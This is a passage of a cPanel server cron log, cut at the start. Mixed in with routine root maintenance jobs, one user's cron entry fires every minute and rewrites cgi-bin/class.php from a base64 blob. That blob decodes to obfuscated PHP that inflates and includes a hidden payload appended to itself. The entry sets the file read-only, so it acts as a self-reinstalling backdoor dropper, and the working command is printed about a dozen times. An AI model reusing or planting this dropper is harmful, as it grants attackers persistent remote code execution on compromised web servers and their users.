tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:18:01 server CROND[23528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:19:01 server CROND[23895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:19:01 server CROND[23896]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep  3 02:19:01 server CROND[23898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:19:01 server CROND[23897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:20:01 server CROND[24367]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 02:20:01 server CROND[24368]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:20:01 server CROND[24371]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 02:20:01 server CROND[24373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:20:01 server CROND[24377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:20:01 server CROND[24374]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 02:20:01 server CROND[24376]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 02:20:01 server CROND[24379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:20:01 server CROND[24375]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:21:01 server CROND[25205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:21:01 server CROND[25206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:21:01 server CROND[25208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:22:01 server CROND[25587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:22:01 server CROND[25588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:22:01 server CROND[25589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:23:01 server CROND[25959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:23:01 server CROND[25961]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:23:01 server CROND[25960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:24:01 server CROND[26329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:24:01 server CROND[26330]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:24:01 server CROND[26331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:25:01 server CROND[26798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:25:01 server CROND[26800]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 02:25:01 server CROND[26801]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 02:25:01 server CROND[26805]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 02:25:01 server CROND[26804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:25:01 server CROND[26802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:25:01 server CROND[26806]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:25:01 server CROND[26803]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:26:01 server CROND[27632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:26:01 server CROND[27633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:26:01 server CROND[27634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:27:01 server CROND[27998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:27:01 server CROND[27999]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 02:27:01 server CROND[28000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:27:01 server CROND[28001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:28:01 server CROND[28375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:28:01 server CROND[28374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:28:01 server CROND[28376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:29:01 server CROND[28755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:29:01 server CROND[28756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:29:01 server CROND[28757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:30:01 server CROND[29230]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 02:30:01 server CROND[29231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:30:01 server CROND[29233]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 02:30:01 server CROND[29232]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
